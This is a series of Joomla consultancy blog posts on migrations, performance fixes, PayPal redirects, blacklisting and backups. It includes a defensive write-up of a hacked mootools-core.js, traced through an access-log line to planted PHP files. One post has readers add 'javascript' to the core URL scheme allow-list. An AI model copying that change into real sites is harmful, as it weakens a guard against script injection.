A major website that we manage used sh404SEF heavily for SEF links. Although we don’t think highly of sh404SEF, we were hesitant to remove it (despite its many issues) because the website was highly dependent on it.

However, we were courageous enough to make the brave decision (OK, now we’re flattering ourselves) to dump sh404SEF when migrating that website from Joomla 2.5.27 to Joomla 3.36!

Here’s what we did (note that we did not update the website from within the CMS):

  • We created a fresh install of Joomla 3.3.6.

  • We installed all the extensions (with the exception of sh404SEF).

  • We imported all the data.

(Of course the above steps included so many details, but they are mostly outside the scope of this post.)

Once the new website was functioning, we started comparing the high level links, and we ensured that all the high level links (that were created in sh404SEF) were created as menu items.

We then monitored, for a full week, the Crawl Errors in the Google Webmaster Tools account for that website, and fixed any 404s (either by creating a hidden menu item or by creating a redirect rule in the .htaccess file) until the number of 404 errors returned to a normal level (there are 404s that are the result of erroneous linking from external websites, and, in many occasions, it is not worth it to address these 404s).

Once that was done, we considered our mission to be a successful one and we proved to ourselves (and to the whole world) that it’s possible to get rid of sh404SEF (even after using it for over several years) and to simply use Joomla’s core SEF (which is not perfect, but way better and much more efficient than sh404SEF).

Did we have any major issues with this move?

Yes – we did, but just one. About 4,000 aliases ended with a hyphen (or a dash, or a minus, or a -, or a… OK, you get the point!), and it was because when the associated articles were created, they contained a space at the end of their titles (spaces in the title get translated to hyphens in the alias). Now, we did modify sh404SEF for that website to ignore the trailing hyphen in the URL, which meant that Google indexed (and rightly so) the URLs without their trailing hyphens, which, in its turn, meant that a link such as http://ourclientjoomlawebsite.com/category/first-article.html no longer worked, because the actual link was http://ourclientjoomlawebsite.com/category/first-article-.html. We had 2 options to solve this problem: 1) Create a plugin that will automatically redirect from the hyphened version of the URL to the non-hyphened version, or 2) fix the aliases.

We figured that the second option was much easier and much cleaner/efficient. So, we logged in to phpMyAdmin and ran the following query:

UPDATE #__content SET alias=SUBSTRING(`alias`, 1, CHAR_LENGTH(`alias`) -1) WHERE alias LIKE '%-';

And that, ladies and gentlemen, fixed the problem!

If you got tired of sh404SEF and its endless problems, then try removing it by following our advices above. If you’re a bit frightened to do that, then let us do it for you. We don’t charge much, our work is clean and professional, and we’re always a phone call or an email away!

How to Change the Popup Window Size for “Email this link to a friend” Link in Joomla

If you’re using the “Email this link to a friend” feature in Joomla, then you might have probably noticed that the popup window that opens when clicking on the link has fixed width and height, which means that if you ever decide to change its template, then it’s very possible that those fixed width and height might not be enough.

Unfortunately, it is not possible to change the width and height of the popup window from the Joomla backend because the popup dimensions are hardcoded in the code itself. So, in order to change them, here’s what you need to do:

  • Open the file icon.php which is located under the components/com_content/helpers folder.

  • Locate this line:

    $status = 'width=400,height=350,menubar=yes,resizable=yes';

    Change it to:

    $status = 'width=your-width,height=your-height,menubar=yes,resizable=yes';

  • Save the file and upload it back.

  • That’s it!

While the solution above fixes the problem, it is a core change, which means that a future update of Joomla might wipe out your changes. We think that Joomla should have the option to change these dimensions in its backend. But, for now, that’s the only solution.

If you’re not comfortable changing a core file, then please contact us. We can do this for you in no time and for a very affordable fee!

Your Joomla Website Is Blacklisted by Websense? Here’s What to Do!

A major healtchare client of ours emailed us yesterday and told us that they’re getting reports from some visitors that their Joomla website (the healthcare website) is blocked because it is compromised. One of those reports stated that it was Websense that labeled the website as compromised. So, we immediately went to csi.websense.com and we entered the URL of the site and analyzed it. It didn’t take long for Websense to respond back with a dreadful Compromised Website response.

We were sure that the website was clean, nevertheless, we checked, double checked, and tripled checked the website (using a variety of tools) and all of those checks came out as negative: the website was clean; there was nothing malicious about it and it was not compromised! We then ran a full scan on the server (the scan didn’t come back with any positives). This whole thing meant that Websense (which is a Cisco subsidiary) has mistakenly labeled the website as compromised (it was a false positive).

Once we were sure that this issue was a false positive, we did the following:

  • We created an account with Websense. Note that the account can be created for free, there is no need to subscribe to any Websense service in order to create the account.

  • Once the account was successfully created, we re-ran the scan (on csi.websense.com), and then, on the ACE Insight Report (which is the report generated once you go to csi.websense.com and enter the URL of your website), we clicked on Suggest a different categorization).

  • We then chose Health as category (the category already assigned to the website was Compromised Websites), and then added a small message that Webense’s findings were a false positive.

  • We waited…

  • 90 minutes later, we got an automated email from Websense Labs, telling us that our AceInsight submission has been received and that it was assigned a case number.

  • Another 90 minutes later, we got an automated email, also from Websense Labs, telling us that our AceInsight submission has been escalated for further research. Obviously, that email was a breath of fresh air. We knew that they were working to address the issue.

  • Yet another 90 minutes later, we got an exhilarating email from Websense Labs telling us that the site we submitted has been reviewed and determined safe for browsing. Hooray!

  • We informed the client who promised to donate $100 billion for charities in our name. OK, we’re kidding, but the client was ecstatic!

Now, even after fixing the problem, we still had a few issues. Some firewalls, such as Barracuda, query the Websense database and cache the results. Unfortunately, Barracuda queried the database at the wrong time, and haven’t refreshed their cache as of yet. Nevertheless, we expect them to refresh their cache anytime now (for now, we are asking affected companies to whitelist our client’s website on their Barracuda firewall).

So, was the effort worth it?

Definitely. Websense maintains one of the most important and up-to-date databases about the health of the websites, which means that there are many 3rd parties (such as Barracuda) that query this database to check whether a website is safe or not. If we didn’t address this problem and if we didn’t address it immediately, then within 48 hours every single firewall on this planet would have probably blocked our client’s site.

Now, if you, our esteemed reader, have run into the Websense issue, then try the above guide to unblock your website (make sure it is clean first). If you need help addressing this issue, then that’s why we’re here. Just contact us and let us take care of the rest. Please note that our super affordable fees apply!

Do We Really Need the Email Cloaking Plugin in Joomla’s Core?

One of the most annoying, and needless plugins on Joomla is the email cloaking content plugin. For those of you who don’t know what this plugin is, it translates any email (a string that matches an email pattern) to JavaScript obfuscated code in order to prevent spammers from picking up that email and ultimately spamming it.

However, in this day and age, such a plugin is technically useless, since spammers have already developed, several years ago, many algorithms to bypass JavaScript email obfuscation. For mysterious reasons, however, some Joomla developers think that this plugin is still the best think since sliced bread and are totally against removing it. That wouldn’t have been an issue if the plugin was useless but harmless, but, unfortunately, this is not the case.

For example, email obfuscation causes a major issue with PayPal because PayPal is not programmed to decode any JavaScript encryption that is associated with the merchant email. Additionally, if someone has disabled JavaScript on his browser, then he will not be able to see the email (which can lead to loss in potential leads/sales), instead they he will see the following error: This email address is being protected from spambots. You need JavaScript enabled to view it.

So, now that we have proven that the plugin is both useless and problematic/annoying, why-oh-why does it still come with Joomla? It even ships with Joomla 3 and there are no plans to remove it either in the near or in the distant future. If some developers really think that it’s a good plugin then why not have it as an optional plugin instead of just integrating into the core. Why not allow the people the option of not having it? And why is it always enabled by default?

Hopefully, this little post of ours will spark a small debate which ultimately leads to the removal of this antiquated plugin that existed from the Mambo era. Until then, you can just disable the plugin from the Plugin Manager!

Your Joomla Website Is Really Really Slow? Maybe MySQL Is Running Out of RAM

One of our clients called us today and told us that his Joomla website was slow to load. We checked the website immediately, and not only it was slow, it was extremely slow. It was taking about 20 seconds to load.

We went through the following checklist:

  • Was the website hacked?: It wasn’t. In fact, it was a very clean and basic website with only VirtueMart installed.

  • Was any 3rd party extension trying to load remote content?: That wasn’t the case. The client had just one extension that was 3rd party, and it was VirtueMart.

  • Was the website hitting the maximum number of Apache clients?: It actually was, and we increased that number (the maximum number of Apache clients), but the problem still occurred, albeit less frequently. In short, that only addressed part of the problem.

  • Was it the firewall?: The website wasn’t even behind a firewall, so the SYN_FLOOD settings that usually cause these slowdowns were irrelevant.

  • Were there any slow queries?: We checked the MySQL query log, and there wasn’t any recent slow queries (there were a few but they were from months ago).

Interesting. What could the problem be?

We then checked the load on the server and we noticed 2 things: 1) it wasn’t low (below 2), and 2) MySQL was maxed out when it comes to RAM. In fact, only 128 Megabytes of RAM were assigned to MySQL and MySQL was using them all, and after the RAM was exhausted, MySQL was using a swap file as an auxiliary RAM to satisfy its needs! Aha! Now that we know the cause of the problem, we know the solution…

Here’s what we did to fix the problem (note that our client is using WHM, so the instructions below might be different if you’re using Plesk):

  • We logged in through ssh to the server.

  • We opened the file /etc/my.cnf (using vi).

  • We changed the values of tmp_table_size, max_heap_table_size, innodb_buffer_pool_size to 196 MB (it was set to 128 MB before). We did that by replacing the lines below:

    tmp_table_size=128M
    max_heap_table_size=128M
    innodb_buffer_pool_size=128M

    with these ones:

    tmp_table_size=196M
    max_heap_table_size=196M
    innodb_buffer_pool_size=196M

We restarted MySQL from WHM (you can also restart MySQL from ssh) and the website was flying! We solved the problem!

If you have a slowness problem on your Joomla website then check if it’s MySQL. If it’s not, then check your firewall, your Apache settings, whether your website is hacked, and whether you have a rogue extension. If ever need help, keep in mind that you can always contact us (we work 24/7/365). Please note that our affordable fees apply!

How to Redirect a User to a PayPal Payment Page After Filling in an RSForm Form

We have probably mentioned this before – RSForm is one of the few Joomla extensions that we love and that we trust, and we get really excited when a client gives us a task on this powerful extension.

Yesterday (Sunday), one of our clients contacted us and told us that she wanted those who fill a certain RS Form form on her website to be automatically redirected to a PayPal payment page, if they choose their payment as “PayPal” (she had 2 payment options, one was “Check”, the other was “PayPal”).

Here’s how we did it:

  • We logged in to the Joomla backend, and then we went to Components -> RSForm! Pro.

  • We clicked on the Properties tab and then clicked on the PHP Scripts tab (under Scripts on the left panel).

  • In the third box (just below Script called after form has been processed) we added the following code:

    $myform = $_POST['form'];
    
    if ($myform['Paying By'] == 'PayPal'){
        $arrPaypal= array();
        $arrPaypal['cmd'] = '_cart';
        $arrPaypal['upload'] = '1';
        $arrPaypal['business'] = 'Our Client's PayPal Email';
        $arrPaypal['item_name_1'] = 'Name of the Product Being Sold';
        $arrPaypal['amount_1'] = $myform['Price']; //The price was in the field Price in the submitted form. You can always hardcode the price here.
        $strPaypal = http_build_query($arrPaypal);
        header('Location: https://www.paypal.com/cgi-bin/webscr?' . $strPaypal );
        exit();
    }

That was it! When a client submitted a form he was automatically redirected to the PayPal payment page with all the proper variables being transmitted (price, name of the product, and email of the merchant).

As you can see, doing this in RS Form is not that hard, but it does require a very basic knowledge of programming. So, if you have never been exposed to programming, then please contact us. We can help you implement the above in very little time and at a very affordable cost. What are you waiting for? Just give us a ring or shoot us an email and let us take care of your Joomla website!

Hacked “mootools-core.js” – How to Fix

For the past week or so, we have been working on a very puzzling issue. A client’s website was hacked. In fact, there was only one file that was hacked. The mootools-core.js file which is located under the /media/system/js folder.

The hack was not detected by any scan – commercial or not – internal or external. In fact, the hack was reported to us by the Security Manager of one company dealing with our client (the website in question was a healthcare website).

We immediately cleaned the file, and everything was OK. We then changed the permissions to 444 on all the JS files in the /media/system/js folder, mistakenly and childishly assuming that this would prevent the problem from happening again (yes – we are criticizing ourselves).

Needless to say, the problem repeated itself yesterday: the file mootools-core.js file was hacked again, and, surprisingly, the date on that file was unchanged (as if it was not modified). Again, we cleaned the file and we re-uploaded it. This time, however, we chown’d and chgrp’d the whole media/system directory to root, and we also changed all the files permissions to 444. We were hopeful that we solved the problem once and for all, but for some reason, we knew that it was going to happen again, and that’s why we kept a hawk’s eye on the website. And it did… At 4:59 AM EST this morning (the 24th of September), the same thing happened. But at the same time, something even more interesting happened…

All the files were chown’d and chgrp’d back to the Apache user/group (we’re not fond of suPHP, but for technical reasons, we have to use it on this website), and the date on the files was the date of the hack, and the only file that was hacked was, again, the mootools-core.js file.

At this time, we were almost confident that the script hacking the websites resided somewhere on the server. We just didn’t know where. “What about the logs?”, we thought. So, we grabbed the Apache access log residing under the logs folder for that particular account. Since the log file was 7 GB large and we only wanted the data for one particular day, we ran the following command on the Linux shell:

grep -E '24/Sep/2014' log-file > log-09-24-2014.txt

(Note that we extracted the log-file using gunzip before running the above command).

We then scanned the log for all the activities that happened at 4:59:00 AM EST, and it didn’t take us long to find the culprit. It was this line:

174.91.193.220 - [24/Sep/2014:04:59:00 -0400] "POST /includes/xmlrpc.php HTTP/1.1" 200 14714 "http://www.[our-clients-website].com/includes/xmlrpc.php" "Mozilla/5.0 (Windows NT 5.1; rv:23.0) Gecko/20100101 Firefox/23.0"

xmlrpc.php? Wait! That’s a WordPress file, and our client has a Joomla website. We checked that file, and naturally, it was full of base64_encode’d code, which meant that it wasn’t a good file. There were many subsequent POSTs to that file (mainly to try to overcome the permissions that we set on the mootools-core.js file). We deleted the file immediately.

Currently, we are trying to discover how the xmlrpc.php file was created in the first place. We will update this post if we find anything new. Meanwhile, if your mootools-core.js file keeps on getting hacked, then check your logs for any files that were called the second your website was hacked (e.g. your files were modified), and make sure you don’t have any xmlrpc.php file anywhere on your Joomla website.

Update 09/25/2014: We just discovered the root cause of the issue. It was a malicious PHP file called menu.min.php uploaded under the /modules/mod_ariextmenu/mod_ariextmenu/js/css/ folder. The file created the xmlrpc.php file which was then used to hack the mootools-core.js file. We deleted the menu.min.php file and that concluded our work!

As usual, we are here to help! You can always contact us. We can clean your website efficiently and for a very affordable fee! Oh, and we really, really care about our clients.

Sorry, But Where I Can I Change that Content on My Joomla Website?

One of the most common questions we get on the phone (we always answer the phone) is the following: “Sorry, but where I can change content xyz on My Joomla website?

Our invariable answer to this question is always: “Have you checked your modules?”

And we typically get the following answer: “Ah! Let me check…”, and then we occasionally get a phone call thanking us for our tip. As for those who don’t call back after checking, we assume that their problem was solved.

So, if you’re trying to change some content on your Joomla website, and can’t find it anywhere in the Article Manager, then most likely it’s a module (and, to be more precise, it’s a Custom HTML module).

But, what if I can’t find the content to change in my modules?

Do a search using phpMyAdmin on the #__modules table. Chances are you’ll be able to find it there. The query that you should use is the following:

SELECT title, position FROM #__modules WHERE content LIKE '%your-content%';

But, what if I still can’t locate that content?

Well, in this case, the content is either hardcoded in the template, in one of the modules, or in a plugin. You must do a grep to find the file containing the content you want to change. You can do that by connecting through shell to your website, and then issuing the following command:

grep -r "your-content" /home/[your-domain-user]/public_html

Note that the above code assumes you’re using cPanel/WHM.

I still can’t locate the content I want to change. What to do now?

You will need to search the whole database to find that content. phpMyAdmin has a tool that allows you to do that. All you need to is to click on Search on the top of phpMyAdmin page (when in Database view), and then enter the content you’re searching for next to Words or values to search for, and then select all the tables before you finally click on Go on the bottom right.

I’m so desperate. I still can’t find the content that I want to change.

If, after doing all the above, you can’t find that content, then most likely your content is stored on another server (there might be a curl call grabbing the content from another location), or it might be that the content that you want to change is encrypted. In this case, you will need to contact some Joomla experts such as (ahem ahem!) ourselves to help you locate and change that content. All you need to do is to contact us and we’ll do this task for you swiftly, professionally, and for a very, very reasonable cost.

“Use of undefined constant DS – assumed ‘DS’” Notice on Joomla

If you’re trying to migrate a Joomla website to the latest version, then it’s very possible for you to see the following notice:

Use of undefined constant DS – assumed ‘DS’ in …

The above notice stems from the fact that Joomla no longer makes a differentiation between Linux and Windows when it comes to file paths (Linux uses forward slashes [/] while Windows uses backslashes [\]), this is because Windows can now also read Linux file paths (in other words, Windows now also understands that a forward slash is a directory separator). Some references mistakenly claim that PHP automatically translates file paths from a Linux to a Windows format, hence the reason why Joomla removed the DS constant. This is wrong: while PHP has the DIRECTORY_SEPARATOR predefined constant which is automatically set to a forward slash or a backslash depending on whether you’re using Linux or Windows, it doesn’t automtically translate a directory path from Linux to Windows (or vice versa).

So what’s the exact cause of this problem?

The exact cause of the problem is that in previous versions of Joomla, there was a constant called DS (which stands for Directory Separator) that was set to the DIRECTORY_SEPARATOR PHP predefined constant. Joomla 3.x no longer defines this constant anywhere, and hence any extension using the DS Joomla constant will not work properly, because DS will be treated as the string “DS”. For example, this line:

require_once('templates'.DS.'template_name'.DS.'libraries'.DS.'myfile.php');

will be equivalent to:

require_once('templatesDStemplate_nameDSlibrariesDSmyfile.php');

instead of:

require_once('templates/template_name/libraries/myfile.php');

Naturally, the required file will not exist and the extension (which is a template in our case) will fail. As you can see, a seemingly innocent notice can bring your whole website down!

So, what is a quick solution to the problem?

A very quick solution to the problem is to add the following line to the very top of the configuration.php or the index.php file:

define('DS', DIRECTORY_SEPARATOR);

The problem with this solution, however, is that any update to the site’s configuration will erase the above line if done in the configuration.php file, and any Joomla update may erase the above line if done in the index.php file.

Is there a better solution?

A better solution to the problem is to change any occurrence of DS to a / (forward slash) in the problematic extension. That should permanently solve the problem without modifying any core file.

Now, if the above solution didn’t work for you (or if you feel that it’s a bit too technical), then please contact us. Our fees are affordable, our work is professional, and we always have a solution to anything Joomla!

“Warning: explode() expects parameter 2 to be string, array given” Error on YouGrids Joomla Template – How to Fix

One of our clients emailed us yesterday afternoon and told us that after making a small change on his YouGrids Joomla template, he was seeing the following warnings (several times):

Warning: explode() expects parameter 2 to be string, array given in /templates/yougrids/yjsgcore/lib/yjsg_loadgrids.php on line 247

Warning: array_key_exists() expects parameter 2 to be array, null given in /templates/yougrids/yjsgcore/lib/yjsg_loadgrids.php on line 254

Additionally, most of the content was not displayed (especially on the homepage). We opened up the offending template file (in all fairness, it was the first time we heard about a YouGrids template) which was the file yjsg_loadgrids.php located under the templates/yougrids/yjsgcore/lib folder, and we examined the file closely. It didn’t take us long to find the origin of the problem, it was in this line:

$grid_widths = explode('|', $document->params->get( $get_w_param ));

Apparently, $document->params->get( $get_w_param ) was already an array, so the whole statement was not needed (the explode function). In any case, the explode function will not work if the second parameter is other than a string. So, in order to fix the problem, we changed the above line to:

if (is_array($document->params->get( $get_w_param )))
	$grid_widths = $document->params->get( $get_w_param );
else
	$grid_widths = explode('|', $document->params->get( $get_w_param ));

…and that fixed the problem!

But, why did the problem happen in the first place?

According to YouGrids support, the problem happened because the way Joomla saves/retrieves a specific type of data to/from the database has changed in recent Joomla 3 versions. That was the cause of the issue.

Is there any other way to fix the problem?

YouGrids claim that they have fixed the problem in the template, and all one needs to do is to uninstall/re-download/reinstall the YouGrids template. We can’t confirm if the latest version of the template fixes the problem because we haven’t tried it.

If you have the same problem on your YouGrids Joomla template and you were not able to solve it using our method above, then please contact us, we are more than happy to help. Please note that our super affordable fees apply.

A Very Simple Way to Print the Entire Page in Joomla and Not Just the Content

Note: The menu item solution in this post requires a small modification to a core Joomla file. Unfortunately, there is no way around this. If you’re not comfortable doing this, then please contact us and we’ll do it for you. We can also create an extension that allows you to do the below without modifying any core file (this would take time though).

Some websites want their users to print the whole page, and not just the content of the page, and that’s why the print functionality at the article level does not cut it for them (because it’ll print just the content). As a workaround, these websites tell their visitors to print the page from the browser, by clicking on the menu icon (the three horizontal bars on the top right in FireFox or Chrome, or the gear icon, also on the top right, in IE), and then choosing Print. Of course, this is not ideal, because many Internet users are extremely non-technical. This means that there is a need of having a Print button (on the website itself) that prints the entire page.

But, how to do that?

Well, there are a couple of ways of doing it:

  1. Using a custom HTML module

    Just create a custom HTML module that contains the following code:

    <a href="javascript:window.print();">PRINT</a>

    Assign this module to your desired position, and that’s it!

  2. Using a Menu Item

    If you want to place the Print link in a menu, then you will need to do the following:

    • Open the file item.php located under the administrator/components/com_menus/controllers.

    • Change the following line:

      $scheme = array('http', 'https', 'ftp', 'ftps', 'gopher', 'mailto', 'news', 'prospero', 'telnet', 'rlogin', 'tn3270', 'wais', 'url', 'mid', 'cid', 'nntp', 'tel', 'urn', 'ldap', 'file', 'fax', 'modem', 'git');

      to this one:

      $scheme = array('http', 'https', 'ftp', 'ftps', 'gopher', 'mailto', 'news', 'prospero', 'telnet', 'rlogin', 'tn3270', 'wais', 'url', 'mid', 'cid', 'nntp', 'tel', 'urn', 'ldap', 'file', 'fax', 'modem', 'git', 'javascript');

    • Create a new menu item of type External URL .

    • Add the following code as the Link:

      javascript:window.print();

    • Save the menu item and check the menu where you have the Print link. It should be working.

    Note that if you don’t modify the item.php you will get the following error: Save not permitted (Joomla, by default, does not allow you to add JavaScript as the menu item link).

If you’re having problems implementing the above, then all you need to do is to contact us. We’ll do it for you in not time and for a very affordable fee!

Beware: Some Hosts Are Extorting Joomla Website Owners

We had a call from one of our clients yesterday – she told us that her hosting company shut down her website because it was hacked and told her that they can’t reactivate the website unless the website is cleaned up or unless she subscribes to a security plan that costs $99/month.

Our client ran a small business on a very old Joomla website (Joomla 1.5.26 because she couldn’t afford to migrate it to the latest version), and she didn’t want to pay the $99 every month, and so she called us and asked us if we can cleanup the website. Naturally, we asked her to ask her host to re-enable the website (they disabled the website from their end so we can’t just re-enable it) so that we can fix the problem. She called them immediately and asked them to re-enable the website (so that we can do the cleanup), but they told her that they can’t do that (because it’ll compromise their network), and that she must go with the (fake) monthly security plan to re-enable her website. Unfortunately, she did, and guess what, it turned out that the website wasn’t even hacked in the first place because the moment she agreed and purchased the monthly security plan they re-enabled her website (she was still on the phone when the re-enabled it).

We know some hosts out there are completely unethical, but this is breaking new lows: claiming that a website is hacked when it’s not and forcing the Joomla administrator to sign up for a security plan that does really nothing.

We did tell our client that she has to move her website somewhere else, but she said that she can’t afford any disturbance in her business at the moment, and that she has to acknowledge the $99/month as “the cost of running a business”.

If you’re put into this situation, then our only suggestion is to move to another host immediately. If you let them extort you once, then you give them no reason not to extort you again. If you need help moving your website to another host, then check this post or just contact us. We’ll move your Joomla website anywhere you want for no time and for a very affordable fee.

5 Useless Extensions that Must Be Removed from Joomla

We are firm believers that Joomla must be a very light product. We think that all useless extensions should be removed from Joomla. Yes, you heard that right, there are few extensions in Joomla that are useless and must be removed, and they are:

  1. Banners: If there is one extension that has been consistently used for a different purpose than the one that it has been originally created for, it would be the Banners extension. The Banners extension was originally created (back in the Mambo era) to display banner ads on a Joomla website, however it has been mainly used as a way to display images in modules, which means that a custom HTML module can do its job in most cases. For those very few who actually use the banners component as it was intended to be used, we have 2 words for them: “Google DoubleClick”.

  2. Messaging: This is probably the only Joomla extension that nobody has ever used or even tried to use except for fun. It allows you to send private messages to a user (a single user) from the backend. It doesn’t allow you to create groups and send mass messages to those users; you can only message one user at a time. Zero percent useful and one hundred percent bloatware – Joomla needs to get rid of it.

  3. Newsfeeds: It’s 2014 now and Joomla still has a component that retrieves RSS headlines from other websites to display on your own Joomla website. Even Google declared RSS to be dead a couple of years ago. Need we say more? Oh, and ironically, Joomla doesn’t even a built-in extension for RSS generation of the site’s content, so you can retrieve RSS headlines from other websites, but you cannot generate RSS headlines on your very own website (unless you use a 3rd party extension to do that).

  4. Redirect: This is an extension which power is only exceeded by its mystery (in case you’re wondering, that line is from the movie Dude – Where’s My Car). Its name is misleading as it doesn’t really do any redirect unless you hit a 404 page. Joomla administrators know little about it and aren’t that anxious to know more (let’s leave it mysterious, shall we, but in case you really want to know more about it, then we have discussed it, in details, here).

  5. Weblinks: 10 years ago (when Joomla was called Mambo), it was cool to create a page and to add links to other relevant websites. Not anymore. This practice is now the exception rather than the norm. If you really want to have a page where you can add your favorite websites, then just create a regular article and add those links to it.

According to Joomla’s roadmap, it seems that Joomla will get rid of most of the extensions above within a year or so. If you’re using one (or more) of these extensions and if you are interested in reducing your website’s dependencies on legacy code, then please contact us. We will provide you with an alternative solution and you won’t even notice any change on your website (we’ll ensure that the frontend still works the same)! Please note that our very affordable fees apply!

“0 – SQL=” Error in Joomla

A new client called us yesterday evening and told us that he was seeing the following error on some pages of his Joomla website:

0 – SQL=

The error was in the traditional red layout, immediately followed by the classic “You may not be able to visit this page because of…” message.

The page where the error was appearing was pointing to a custom made component called com_realestate, which was used to display real estates for the area where the visitor is located in (for example, in our case, the extension should show real estate from Montreal).

We checked the extension and we noticed that it wasn’t able to get the location of the visitor based on the IP (the IP to location database was messed up), and so the SQL query being sent to the Joomla database engine was empty (causing the “0 – SQL=” error).

So, how did we fix the problem?

We fixed the problem by ensuring that the extension does not send an empty query to the database if it cannot locate the IP of the visitor. Of course, the extension had deeper issues but it was outside the scope of our work and the client wasn’t interested in fixing them.

Have we seen this problem before?

Yes – we did. It was a few months ago, but back then, the whole Joomla website did not work. It turned out that the problem was in the template itself (the template was sending an empty query to the Joomla database engine).

Are there easier ways to fix the problem?

There are other ways to fix this problem – but none of them is really clean. The thing is, all of them involve modifying Joomla’s own core (which is something we do not really recommend as it might cause conflicts down the road and it’s very possible that the changes might be wiped out by future Joomla updates). If you really want that quick fix, then you can always modify the execute function in the mysqli.php file (assuming you’re using the MySQLi drirver) which is located under the libraries/joomla/database/driver folder to return an empty array if the query is empty. This can be done by adding the following line to the very beginning of the aforementioned function:

if (empty($this->sql)) return array();

Note that doing the above might result in other issues at the extension level if the extension needs to have values from the database and cannot settle with just an empty array (yet another reason why it’s a better idea to fix the problem in the extension rather in Joomla’s own core).

If you have this problem on your Joomla website and you need help fixing the offending extension (whether it’s a plugin/module/component/template), then please contact us. Our fees are affordable, our work is top notch, and we treat every website that we work on as if it’s ours.

A Simple Joomla Module to Display the Number of Tweets for the Current Page

At itoctopus, we like to share our extensions for the benefit of the Joomla users and the Joomla ecosystem. One of the extensions we have developed recently is a module that displays the number of Tweets for the current page on a Joomla website.

The module is super simple. All you need to do is to assign it to the menu item and position of your choice, and you will see the magic happens (e.g. the number of tweets for the current page will appear).

You can download the module here. The module is compatible with Joomla 2.5 and Joomla 3.x. The module is less than 2 KB in size (uncompressed) and does not contain any hidden links (it is a practice that we, at itoctopus, strongly oppose).

How does the module work?

Note: You don’t have to read this to get the module to work. The module will work just by installing it and assigning it to the appropriate menu item and module position. The below is just a technical information for those who really like to know how the module gets the number of tweets.

The module first gets the current page using the JURI::current() Joomla function, which is then passed as a GET parameter to the following URL: http://urls.api.twitter.com/1/urls/count.json.

For example, if the current URL is http://www.yourjoomlawebsite.com, then the following URL will be grabbed using curl (we use curl and not file_get_contents because the latter function will not work if allow_url_fopen is set to 0):
http://urls.api.twitter.com/1/urls/count.json?url=http://www.yourjoomlawebsite.com. The aforementioned URL will return the following json response:

{"count":0,"url":"http:\/\/www.yourjoomlawebsite.com\/"}

The above means that the page has been tweeted 0 times (in this case the module will not display anything). Note that the module will both try the www and the non-www variations of any page and will get the total number of tweets for both variations.

What if the module doesn’t work?

If the module doesn’t work then most likely the curl library is not installed on top of your PHP installation. You should contact your host to do that for you. You can also modify the code to use file_get_contents instead of using curl functions, provided allow_url_fopen is set to 1 in your php.ini file.

How to change the module’s layout?

You can change the module’s layout by copying the file modules/mod_tweets/mod_tweets.php to the file templates/your-template-name/html/mod_tweets/default.php and then making your modifications there.

Are there any caveats?

Since we are using curl, then the module can slow down the whole website if Twitter takes a long time to get back to us with the json result. Contact us if you are experiencing any of these issues on your website and we’ll help you fix it.

Now for the usual disclaimer: Although we have developed the module ourselves and installed it on many of our clients’ websites, we cannot be held accountable/responsible for any direct/indirect issues that the module can cause to your Joomla website.

If you need help with the installation of the module, or if you want help modifying it, then please contact us. Please note that our fees apply.

Why We Don’t Recommend Using Akeeba for Backing Up Joomla Sites

One of the most used Joomla extensions is Akeeba Backup, but we don’t recommend it to our clients. Why? Well, because we don’t think it’s a good solution, and we don’t think that backing (and restoring) a Joomla website should be done from within Joomla, and here are 7 reasons why we think that:

  1. Akeeba Backup is not supported by any host: Hosts usually don’t support CMS applications (such as Joomla, WordPress, Drupal, etc…), and they certainly don’t support an extension within a CMS. If you have a problem restoring your website using an Akeeba backup, then your host will not be and can not be of any help.

  2. The Joomla website must be working in order to restore it: That point alone probably defies the whole point of Akeeba Backup, this means that you can just revert to a previous state of your Joomla website. There is a way to restore your Joomla website from outside Akeeba using the Kickstart application, but it’s very technical. We’re not sure if it fits within the Akeeba theme promoting simple backups and restores that anyone can perform.

  3. Akeeba Backups are not guaranteed to work: If you make a backup using Akeeba, then there are no guarantees whatsoever that you’ll be able to restore your website from that backup. It may or may not work, and we had many customers coming to us and telling us that Akeeba has failed them the only time they really needed it.

  4. Akeeba may crash when backing a large website: If you’re trying to back up a very large website using Akeeba, then beware, Akeeba may crash during the backup (which means that you’ll have to redo the backup), but not before crashing the whole website!

  5. Akeeba will slow down the whole website during the backup process: If you’re trying to backup medium to large websites, then Akeeba might slow down your website considerably during the backup. Of course, it might crash it eventually, but we’ve discussed this in the previous point.

  6. Support is good but isn’t great: In all fairness, Akeeba Backup is one of the few extensions out there where there is real support. The only issue we see with support is that there are too many “you haven’t used the extension properly” answers. Other than that, we have nothing to say about it.

  7. There is a bit of a steep learning curve: In our opinion, Akeeba Backup should have a small icon on the top right to seamlessly backup a website (in the background) with one click. Currently this is not the case: users are given many options that might confuse them, and, from our experience, those using Akeeba are far from being technical.

So, what do we recommend for backing up (and restoring) a Joomla website?

Well, the best way to backup any website is through cPanel (or any tool that your host offers for backup). Using cPanel, the Joomla administrator will be able to easily download a copy of the database and a copy of the filesystem (by clicking on the Backup and Restore icon on cPanel’s landing page). Hosts usually have no problem whatsoever restoring a backup that was created by a tool they offer to their clients (such as cPanel).

If you have problems restoring (or backing up) a Joomla website using Akeeba, then please contact us, we’ll be more than happy to help. Please note though that if your Akeeba backup is corrupt, then we might not be able to restore your website using Akeeba (we will have to resort to other tools for attempting to restore your website). Also note that our very affordable fees apply.

Hey Joomla 2.5 Administrators, It’s Time to Migrate to Joomla 3

If you’re using Joomla 2.5, then we have news for you, it is now time to migrate to Joomla 3. “Why?”, we hear you ask. Well, because by the end of December, Joomla 2.5 will no longer be officially support it (we will still support it at itoctopus though). This means that Joomla 2.5 will become like Joomla 1.5.26, vulnerable, exploitable, and weak. You wouldn’t want your website to run on Joomla 1.5.26, would you?

But isn’t Joomla 3 unreliable?

A few months ago, we were completely against migrating to Joomla 3, simply because the CMS wasn’t mature enough. However, as of July of this year, Joomla 3 has become very stable and we are installing it for our new customers. We are also migrating our old customers to it. By the end of 2014, we are planning to migrate all our large clients to Joomla 3.

Although the migration from Joomla 2.5 to Joomla 3 is not as hard as migrating from Joomla 1.5 to Joomla 2.5, there are still challenges, especially on large websites, so we suggest that you plan the migration carefully and that you schedule it to take place on October (2 months before the deprecation of Joomla 2.5).

Things to remember before doing any migration:

  • Make sure you backup the filesystem: All the files under the root directory of your website must be backed up into an archive. Using Akeeba will not backup the whole filesytem so you shouldn’t use it.

  • Make sure you backup your database: The database should be backed up at the same time you are doing the filesystem backup, or else your data will not be consistent. Note that can easily download a backup of both your filesystem and your database using cPanel’s Backup and Restore functionality (if you’re using cPanel/WHM).

  • Make sure that you lock all changes to your website: The moment you start the backup process, you should disallow any changes to your website until the whole migration is done.

